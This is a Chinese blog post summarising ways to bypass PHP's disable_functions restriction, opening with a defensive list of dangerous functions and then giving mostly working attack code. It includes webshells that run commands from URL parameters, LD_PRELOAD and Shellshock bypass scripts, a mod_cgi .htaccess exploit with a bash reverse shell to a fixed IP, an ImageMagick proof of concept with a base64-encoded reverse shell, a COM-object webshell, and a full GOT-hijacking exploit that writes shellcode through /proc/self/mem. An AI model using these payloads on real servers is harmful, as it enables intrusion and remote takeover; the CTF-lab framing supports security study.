Loading

php disable_functions绕过总结

零、php需要禁用的函数

phpinfo() 
功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。 
危险等级:中 
passthru() 
功能描述:允许执行一个外部程序并回显输出,类似于 exec()。 
危险等级:高 
exec() 
功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。 
危险等级:高 
system() 
功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。 
危险等级:高 
chroot() 
功能描述:可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式 
PHP 时才能工作,且该函数不适用于 Windows 系统。 
危险等级:高 
scandir() 
功能描述:列出指定路径中的文件和目录。 
危险等级:中 
chgrp() 
功能描述:改变文件或目录所属的用户组。 
危险等级:高 
chown() 
功能描述:改变文件或目录的所有者。 
危险等级:高 
shell_exec() 
功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。 
危险等级:高 
proc_open() 
功能描述:执行一个命令并打开文件指针用于读取以及写入。 
危险等级:高 
proc_get_status() 
功能描述:获取使用 proc_open() 所打开进程的信息。 
危险等级:高 
error_log() 
功能描述:将错误信息发送到指定位置(文件)。 
安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode, 
执行任意命令。 
危险等级:低 
ini_alter() 
功能描述:是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。 
具体参见 ini_set()。 
危险等级:高 
ini_set() 
功能描述:可用于修改、设置 PHP 环境配置参数。 
危险等级:高 
ini_restore() 
功能描述:可用于恢复 PHP 环境配置参数到其初始值。 
危险等级:高 
dl() 
功能描述:在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。 
危险等级:高 
pfsockopen() 
功能描述:建立一个 Internet 或 UNIX 域的 socket 持久连接。 
危险等级:高 
syslog() 
功能描述:可调用 UNIX 系统的系统层 syslog() 函数。 
危险等级:中 
readlink() 
功能描述:返回符号连接指向的目标文件内容。 
危险等级:中 
symlink() 
功能描述:在 UNIX 系统中建立一个符号链接。 
危险等级:高 
popen() 
功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。 
危险等级:高 
stream_socket_server() 
功能描述:建立一个 Internet 或 UNIX 服务器连接。 
危险等级:中 
putenv() 
功能描述:用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可利用该函数 
修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。 
危险等级:高 

禁用方法如下: 
打开/etc/php.ini文件, 
查找到 disable_functions ,添加需禁用的函数名,如下: 
phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen

一、常规绕过

<?php echo exec('whoami');?>
<?php echo shell_exec('whoami');?>
<?php system('whoami');?>
<?php passthru("whoami");?>
<?php
$command=$_GET['cmd'];
$handle = popen($command , "r");
while(!feof($handle)) { 
echo fread($handle, 1024);
}
pclose($handle);?>
<?php
$command="ipconfig"; 
$descriptorspec = array(1 => array("pipe", "w")); 
$handle = proc_open($command ,$descriptorspec , $pipes); 
while(!feof($pipes[1])) { 
echo fread($pipes[1], 1024);}
?>
<?php passthru("whoami");?>

二、利用环境变量LD_PRELOAD绕过

1、mail

1、漏洞环境:
https://www.ctfhub.com/#/skilltree
2、前提条件:
1. 能够上传自己的.so文件
2. 能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数
3. 存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等
3、基本原理
利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。
4、工具下载地址
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
5、利用步骤
a.将bypass_disablefunc_x64.so传入tmp目录下
b.将bypass_disablefunc.php传入tmp目录下
c.然后利用一句话木马,包含bypass_disablefunc.php从而执行cmd命令
http://challenge-44c0c4efa761bc9b.sandbox.ctfhub.com:10800/index.php/?ant=eval($_GET[1]);&1=include(%27/tmp/bypass_disablefunc.php%27);&cmd=whoami&outpath=/tmp/1.txt&sopath=/tmp/bypass_disablefunc_x64.so

该环境禁用了如下的function:

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system

2、error_log

将上述mail例子中的mail("", "", "", "");替换为error_log("",1,"","");

3、mb_send_mail

将上述mail例子中的mail("", "", "", "");替换为mb_send_mail()("",1,"","");

4、可以利用蚁剑插件(绕过disable_functions)

将生成新的shell名为,.antproxy.php,连接即可。

三、shellshock

1、漏洞说明传送门

https://wooyun.js.org/drops/Shellshock漏洞回顾与分析测试.html

2、漏洞环境

暂无
AntSword 虚拟终端中已经集成了对 ShellShock 的利用, 直接在虚拟终端执行命令即可

3、php脚本调用

<?php
function runcmd($c){
  $d = dirname($_SERVER["SCRIPT_FILENAME"]);
  if(substr($d, 0, 1) == "/" && function_exists('putenv') && (function_exists('error_log') || function_exists('mail'))){
    if(strstr(readlink("/bin/sh"), "bash")!=FALSE){
      $tmp=tempnam(sys_get_temp_dir(), 'as');
      putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
      if (function_exists('error_log')) {
        error_log("a", 1);
      }else{
        mail("a@127.0.0.1", "", "", "-bv");
      }
    }else{
      print("Not vuln (not bash)\n");
    }
    $output = @file_get_contents($tmp);
    @unlink($tmp);
    if($output!=""){
      print($output);
    }else{
      print("No output, or not vuln.");
    }
  }else{
    print("不满足使用条件");
  }
}

// runcmd("whoami"); // 要执行的命令
runcmd($_REQUEST["cmd"]); // ?cmd=whoami
?>

四、Apache Mod CGI

1、简单说明

如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令

2、使用条件

1、apache环境
2、mod_cgi已经启用
3、必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
4、必须有权限写.htaccess文件

3、漏洞环境

https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/3

4、蚁剑插件

使用后会弹出个新的虚拟终端,即可执行命令

5、反弹shell的EXP

<?php
$cmd = "bash -i >& /dev/tcp/192.168.110.186/4444 0>&1"; 
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
    echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
    @file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
    header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
    $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
    $writable = is_writable('.'); //current dir writable?
    $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
        checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
        checkEnabled("Is writable",$writable,"Yes","No");
        checkEnabled("htaccess working",$htaccess,"Yes","No");
    if(!($modcgi && $writable && $htaccess))
    {
        echo "Error. All of the above must be true for the script to work!"; //abort if not
    }
    else
    {
        checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
        checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
        checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
        checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
        echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
    }
}
?>

上传并访问如上php,即可生成一个.htaccess文件和一个shell.dizzle文件,在访问shell.dizzle即可反弹shell
1、访问shell.php
http://192.168.110.186:18080/shell.php?checked=true

2、监听好端口,访问shell.dizzle
http://192.168.110.186:18080/shell.dizzle

五、PHP-FPM

1、漏洞原理

传送门:https://www.anquanke.com/post/id/193117?from=groupmessage#h3-7

2、漏洞环境

https://www.ctfhub.com/#/skilltree

3、蚁剑脚本


连接.antproxy.php即可

六、GC UAF、Json Serializer UAF、Backtrace UAF

1、EXP工具环境

https://github.com/mm0r1/exploits
蚁剑插件

2、漏洞环境

https://www.ctfhub.com/#/skilltree

七、ImageMagick

1、基本原理

ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。但近来有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞。

2、版本条件

imageMagick 版本 v6.9.3-9 或 v7.0.1-0

3、漏洞环境

https://github.com/vulhub/vulhub

4、漏洞复现

反弹shell POC

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg?`echo YmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMTAuMTg2LzQ0NDQgMD4mMQ== | base64 -d | bash`"||id " )'
pop graphic-context



不知为啥反弹失败

八、COM组件

1、条件

1.com.allow_dcom = true
2.extension=php_com_dotnet.dll
3.php>5.4
4.目标服务器为Windows系统

2、漏洞exp

<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
print($stroutput);
?>

九、劫持got表绕过diable_function

1、文章传送门

https://mp.weixin.qq.com/s?__biz=MzU3ODc2NTg1OA==&mid=2247485666&idx=1&sn=71a0cce05637edd488cb9cccb3967504

2、exp代码

<?php /***
 *
* BUG修正请联系我
* @author
* @email xiaozeend@pm.me *
*/
/*
section tables type
*/
define('SHT_NULL',0);
define('SHT_PROGBITS',1);
define('SHT_SYMTAB',2);
define('SHT_STRTAB',3);
define('SHT_RELA',4);
define('SHT_HASH',5);
define('SHT_DYNAMIC',6);
define('SHT_NOTE',7);
define('SHT_NOBITS',8);
define('SHT_REL',9);
define('SHT_SHLIB',10);
define('SHT_DNYSYM',11);
define('SHT_INIT_ARRAY',14);
define('SHT_FINI_ARRAY',15);
//why does section tables have so many fuck type
define('SHT_GNU_HASH',0x6ffffff6);
define('SHT_GNU_versym',0x6fffffff);
define('SHT_GNU_verneed',0x6ffffffe);


class elf{
    private $elf_bin;
    private $strtab_section=array();
    private $rel_plt_section=array();
    private $dynsym_section=array();
    public $shared_librarys=array();
    public $rel_plts=array();
    public function getElfBin()
{
        return $this->elf_bin;
    }
    public function setElfBin($elf_bin)
{
        $this->elf_bin = fopen($elf_bin,"rb");
    }
    public function unp($value)
{
        return hexdec(bin2hex(strrev($value)));
    }
    public function get($start,$len){

        fseek($this->elf_bin,$start);
        $data=fread ($this->elf_bin,$len);
        rewind($this->elf_bin);
        return $this->unp($data);
    }
    public function get_section($elf_bin=""){
        if ($elf_bin){
            $this->setElfBin($elf_bin);
        }
        $this->elf_shoff=$this->get(0x28,8);
        $this->elf_shentsize=$this->get(0x3a,2);
        $this->elf_shnum=$this->get(0x3c,2);
        $this->elf_shstrndx=$this->get(0x3e,2);
        for ($i=0;$i<$this->elf_shnum;$i+=1){
            $sh_type=$this->get($this->elf_shoff+$i*$this->elf_shentsize+4,4);
            switch ($sh_type){
                case SHT_STRTAB:
                    $this->strtab_section[$i]=
                        array(
                            'strtab_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
                            'strtab_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8)
                        );
                    break;

                case SHT_RELA:
                    $this->rel_plt_section[$i]=
                        array(
                            'rel_plt_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
                            'rel_plt_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8),
                            'rel_plt_entsize'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+56,8)
                        );
                    break;
                case SHT_DNYSYM:
                    $this->dynsym_section[$i]=
                        array(
                            'dynsym_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
                            'dynsym_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8),
                            'dynsym_entsize'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+56,8)
                        );
                    break;

                case SHT_NULL:
                case SHT_PROGBITS:
                case SHT_DYNAMIC:
                case SHT_SYMTAB:
                case SHT_NOBITS:
                case SHT_NOTE:
                case SHT_FINI_ARRAY:
                case SHT_INIT_ARRAY:
                case SHT_GNU_versym:
                case SHT_GNU_HASH:
                     break;

                default:
 //                   echo "who knows what $sh_type this is? ";

              } 
          }
     }
    public function get_reloc(){
        $rel_plts=array();
        $dynsym_section= reset($this->dynsym_section);
        $strtab_section=reset($this->strtab_section);
        foreach ($this->rel_plt_section as $rel_plt ){
             for ($i=$rel_plt['rel_plt_offset'];$i<$rel_plt['rel_plt_offset']+$rel_plt['rel_plt_size'];$i+=$rel_plt['rel_plt_entsize'])
             {
                $rel_offset=$this->get($i,8);
                $rel_info=$this->get($i+8,8)>>32;
                $fun_name_offset=$this->get($dynsym_section['dynsym_offset']+$rel_info*$dynsym_section['dynsym_entsize'],4);
                $fun_name_offset=$strtab_section['strtab_offset']+$fun_name_offset-1;
                $fun_name='';
                while ($this->get(++$fun_name_offset,1)!=""){
                    $fun_name.=chr($this->get($fun_name_offset,1));
                }
                $rel_plts[$fun_name]=$rel_offset;
            }
        }
        $this->rel_plts=$rel_plts;
    }
    public function get_shared_library($elf_bin=""){
        if ($elf_bin){
            $this->setElfBin($elf_bin);
        }
        $shared_librarys=array();
        $dynsym_section=reset($this->dynsym_section);
        $strtab_section=reset($this->strtab_section);
        for($i=$dynsym_section['dynsym_offset']+$dynsym_section['dynsym_entsize'];$i<$dynsym_section['dynsym_offset']+$dynsym_section['dynsym_size'];$i+=$dynsym_section['dynsym_entsize'])
        {
            $shared_library_offset=$this->get($i+8,8);
            $fun_name_offset=$this->get($i,4);
            $fun_name_offset=$fun_name_offset+$strtab_section['strtab_offset']-1;
            $fun_name='';
            while ($this->get(++$fun_name_offset,1)!=""){
                $fun_name.=chr($this->get($fun_name_offset,1));
            }
            $shared_librarys[$fun_name]=$shared_library_offset;
         }
         $this->shared_librarys=$shared_librarys;
   }
   public function close(){
       fclose($this->elf_bin);
   }

   public function __destruct()
   {
       $this->close();
   }
   public function packlli($value) {
       $higher = ($value & 0xffffffff00000000) >> 32;
       $lower = $value & 0x00000000ffffffff;
       return pack('V2', $lower, $higher);
   }
}
$test=new elf();
$test->get_section('/proc/self/exe');
$test->get_reloc();
$open_php=$test->rel_plts['open'];
$maps = file_get_contents('/proc/self/maps');
preg_match('/(\w+)-(\w+)\s+.+\[stack]/', $maps, $stack);
preg_match('/(\w+)-(\w+).*?libc-/',$maps,$libcgain);
$libc_base = "0x".$libcgain[1];
echo "Libc base: ".$libc_base."\n";
echo "Stack location: ".$stack[1]."\n";
$array_tmp = explode('-',$maps);
$pie_base = hexdec("0x".$array_tmp[0]);
echo "PIE base: ".$pie_base."\n";
$test2=new elf();
$test2->get_section('/usr/lib64/libc-2.17.so');
$test2->get_reloc();
$test2->get_shared_library();
$sys = $test2->shared_librarys['system'];
$sys_addr = $sys + hexdec($libc_base);
echo "system addr:".$sys_addr."\n";
$mem = fopen('/proc/self/mem','wb');
$shellcode_loc = $pie_base + 0x2333;
fseek($mem,$open_php);
fwrite($mem,$test->packlli($shellcode_loc));
$command=$_GET['cmd'];//我们要执行的命令
$stack=hexdec("0x".$stack[1]);
fseek($mem, $stack);
fwrite($mem, "{$command}\x00");
$cmd = $stack;
$shellcode = "H\xbf".$test->packlli($cmd)."H\xb8".$test->packlli($sys_addr)."P\xc3";
fseek($mem,$shellcode_loc);
fwrite($mem,$shellcode);
readfile('zxhy');
exit();

usage:url?cmd=要执行的命令
注意命令无回显,建议命令结果写入文件(写入到可写文件的地方,如/tmp),再去该目录读文件(默认已有shell)。反弹shell就更不用说了。

posted @ 2021-07-24 23:36  Ctrl_C+Ctrl_V  阅读(1037)  评论(0)    收藏  举报